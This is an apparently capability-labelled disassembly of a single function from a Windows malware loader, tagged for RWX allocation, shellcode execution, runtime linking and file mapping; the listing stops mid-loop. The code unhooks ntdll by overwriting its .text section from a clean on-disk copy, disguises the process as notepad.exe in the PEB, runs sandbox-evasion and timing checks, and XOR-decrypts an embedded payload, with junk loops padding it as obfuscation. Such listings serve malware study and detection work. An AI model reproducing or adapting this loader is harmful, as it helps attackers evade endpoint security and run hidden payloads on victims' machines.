Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x760], xmm6
mov dword [rbp + 0x7a0], ecx
mov qword [rbp + 0x7a8], rdx
call fcn.140002bc0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x75c], 0
jmp 0x14000155d
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x528], eax
mov ecx, dword [rbp + 0x528]
mov eax, ecx
shl eax, 2
add eax, ecx
lea ecx, [rax*4]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x528], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x528]
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
mov qword [rbp + 0x520], rax
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x2aa
jle 0x1400014d9
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x74c], 0
mov dword [rbp + 0x748], 0
mov ecx, 0xcd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x744], 0
jmp 0x14000163c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x74c], eax
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x335
jle 0x1400015ce
mov dword [rbp + 0x744], 0
jmp 0x1400016c4
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x748]
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x52c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006598]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e90
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x748], eax
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x335
jle 0x140001654
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x748]
movss xmm1, dword [0x1400065a0]
divss xmm0, xmm1
movss dword [rbp + 0x6bc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6bc]
movq rax, xmm3
movq xmm0, rax
call fcn.140003bb0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6b8], xmm0
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x750], 0
jne 0x140001760
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140001da3
mov dword [rbp + 0x73c], 1
jmp 0x14000182a
mov dword [rbp + 0x740], 0
mov eax, dword [rbp + 0x73c]
mov dword [rbp + 0x738], eax
jmp 0x140001800
mov edx, dword [rbp + 0x738]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x648], edx
mov eax, dword [rbp + 0x648]
imul eax, eax
imul eax, dword [rbp + 0x648]
add dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x738]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x738], eax
cmp dword [rbp + 0x738], 0
jne 0x140001795
mov eax, dword [rbp + 0x740]
cmp eax, dword [rbp + 0x73c]
jne 0x140001823
mov eax, dword [rbp + 0x73c]
mov dword [rbp + 0x64c], eax
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x194
jle 0x14000177d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x500]
mov rax, qword [rbp + 0x6c8]
mov r10, qword [rbp + 0x750]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x730], 0x202
mov dword [rbp + 0x734], 0
jmp 0x14000195a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x734]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x734]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x202
jle 0x1400018c7
mov dword [rbp + 0x734], 0
jmp 0x1400019f9
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, dword [rbp + 0x734]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, dword [rbp + 0x734]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x730], 1
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x202
jle 0x140001979
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x690], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x680], rax
mov ecx, 0xa70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0xa70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x728], 0x29b
mov dword [rbp + 0x72c], 0
jmp 0x140001b58
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x72c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x72c], 1
cmp dword [rbp + 0x72c], 0x29b
jle 0x140001b0b
mov dword [rbp + 0x72c], 0
jmp 0x140001bb7
mov eax, dword [rbp + 0x728]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov edx, dword [rbp + 0x72c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x728], 1
add dword [rbp + 0x72c], 1
cmp dword [rbp + 0x72c], 0x29b
jle 0x140001b70
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
mov qword [rbp + 0x658], rax
mov word [rbp + 0x726], 0
jmp 0x140001d8b
mov rax, qword [rbp + 0x658]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x658]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x726]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d7a
mov dword [rbp + 0x4c8], 0
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4c8]
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4c8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x726]
add eax, 1
mov word [rbp + 0x726], ax
mov rax, qword [rbp + 0x658]
movzx eax, word [rax + 6]
cmp word [rbp + 0x726], ax
jb 0x140001c4f
mov dword [rbp + 0x71c], 1
jmp 0x140001e5f
mov dword [rbp + 0x720], 0
mov eax, dword [rbp + 0x71c]
mov dword [rbp + 0x718], eax
jmp 0x140001e35
mov edx, dword [rbp + 0x718]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x530], edx
mov eax, dword [rbp + 0x530]
imul eax, eax
imul eax, dword [rbp + 0x530]
add dword [rbp + 0x720], eax
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x718], eax
cmp dword [rbp + 0x718], 0
jne 0x140001dca
mov eax, dword [rbp + 0x720]
cmp eax, dword [rbp + 0x71c]
jne 0x140001e58
mov eax, dword [rbp + 0x71c]
mov dword [rbp + 0x534], eax
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x206
jle 0x140001db2
mov dword [rbp + 0x4cc], 0
mov rax, qword [rbp + 0x6d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x708], 0
mov dword [rbp + 0x714], 0x3c5
jmp 0x140001ec7
mov eax, dword [rbp + 0x714]
cdqe
add qword [rbp + 0x708], rax
sub dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0
jg 0x140001eb1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4d0]
lea rax, [rbp + 0x4cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x640]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4d8]
add rax, 0x3c
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x638]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
jne 0x140002ae9
mov ecx, 0x4fb
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4fb
jne 0x140002ae9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3e89a80
mov ecx, 0
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140002ae9
mov rax, qword [rbp + 0x628]
mov edx, 0x3e89a80
mov rcx, rax
call fcn.140004a10
mov rax, qword [rbp + 0x628]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov ecx, 0
call rax
mov dword [rbp + 0x614], eax
cmp dword [rbp + 0x614], 0xffffffff
je 0x140002ae9
mov qword [rbp + 0x608], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3bc7280
mov ecx, 0
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
je 0x140002ae9
mov rax, qword [rbp + 0x608]
mov edx, 0x3bc7280
mov rcx, rax
call fcn.140004a10
mov rax, qword [rbp + 0x608]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
je 0x1400021bf
mov rax, qword [rbp + 0x5f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5f0]
mov r9d, 0x3000
mov r8d, 0x3fa
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002ae9
mov dword [rbp + 0x5ec], 0x33f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
call rax
mov dword [rbp + 0x5d4], eax
mov eax, dword [rbp + 0x5ec]
mov r8, qword [rbp + 0x5e0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5d8]
call rax
mov dword [rbp + 0x5d0], eax
mov eax, dword [rbp + 0x5d0]
sub eax, dword [rbp + 0x5d4]
cmp eax, 0x30d
jbe 0x140002ae9
mov qword [rbp + 0x5c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5c0]
mov r9d, 0x3000
mov r8d, 0x280
mov edx, 0
call rax
mov qword [rbp + 0x5c8], rax
cmp qword [rbp + 0x5c8], 0
je 0x140002ae9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5b8]
mov ecx, 0
call rax
mov dword [rbp + 0x5b4], eax
cmp dword [rbp + 0x5b4], 0xffffffff
je 0x140002ae9
mov dword [rbp + 0x5b0], 0x2d0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x59c], eax
mov eax, dword [rbp + 0x5b0]
mov r8, qword [rbp + 0x5a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x598], eax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x29e
jbe 0x140002ae9
lea rax, [rbp + 0x60]
lea rdx, [0x140006128]
mov ecx, 0x8c
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x590]
mov r8d, 0
mov edx, 0x465
mov ecx, 0x40000
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x580]
mov r9, qword [rbp + 0x588]
mov r8d, 0x465
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x570], rax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x578]
mov r9, qword [rbp + 0x570]
mov r8d, 0x465
mov rcx, rax
call r9
mov dword [rbp + 0x6f8], 0
mov dword [rbp + 0x6f4], 0
movabs rax, 0x31a9119010254dad
movabs rdx, 0x6f8fa5e89668750c
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xf05a3523923825f8
movabs rdx, 0xd50a3e641a4d7481
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xfb8f49943a5a8693
movabs rdx, 0x72cdfc95d731e89e
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x2df26b2a22e08bc6
movabs rdx, 0xffe7e8f8bf5681
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x9b2a0be6742f8c4a
movabs rdx, 0xbe76aa5d286d8b3e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xb500e004b486928f
movabs rdx, 0x528ccd31dbeedd8
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov dword [rbp + 0xf], 0x6a9905
mov dword [rbp + 0x6fc], 0
jmp 0x14000281d
mov eax, dword [rbp + 0x6fc]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6f8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x6fc]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x6f8], 0x3e
jne 0x14000280f
mov dword [rbp + 0x6f8], 0
mov ecx, 0x7d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x540], rax
mov dword [rbp + 0x6f0], 0
jmp 0x1400026c2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x1f4
jle 0x140002639
mov dword [rbp + 0x6f0], 0
jmp 0x1400027ee
mov dword [rbp + 0x53c], 0
jmp 0x1400027d0
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x53c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400027c9
mov eax, dword [rbp + 0x53c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x538], xmm0
mov eax, dword [rbp + 0x6f0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rdx, rax
mov eax, dword [rbp + 0x53c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x53c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x540]
add rax, rdx
movss xmm0, dword [rbp + 0x538]
movss dword [rax], xmm0
add dword [rbp + 0x6f0], 1
mov eax, 0x1f4
sub eax, dword [rbp + 0x6f0]
cmp dword [rbp + 0x53c], eax
jl 0x1400026f0
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x1f4
jle 0x1400026e1
mov rax, qword [rbp + 0x540]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002816
add dword [rbp + 0x6f8], 1
add dword [rbp + 0x6fc], 1
mov eax, dword [rbp + 0x6fc]
cmp eax, 0x21
jbe 0x1400025da
mov dword [rbp + 0x6fc], 0
jmp 0x14000296c
mov eax, dword [rbp + 0x6fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6f4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x6fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x6f4], 0x21
jne 0x14000295e
mov dword [rbp + 0x6e8], 1
jmp 0x140002942
mov dword [rbp + 0x6ec], 0
mov eax, dword [rbp + 0x6e8]
mov dword [rbp + 0x6e4], eax
jmp 0x140002918
mov edx, dword [rbp + 0x6e4]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x548], edx
mov eax, dword [rbp + 0x548]
imul eax, eax
imul eax, dword [rbp + 0x548]
add dword [rbp + 0x6ec], eax
mov eax, dword [rbp + 0x6e4]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0
jne 0x1400028ad
mov eax, dword [rbp + 0x6ec]
cmp eax, dword [rbp + 0x6e8]
jne 0x14000293b
mov eax, dword [rbp + 0x6e8]
mov dword [rbp + 0x54c], eax
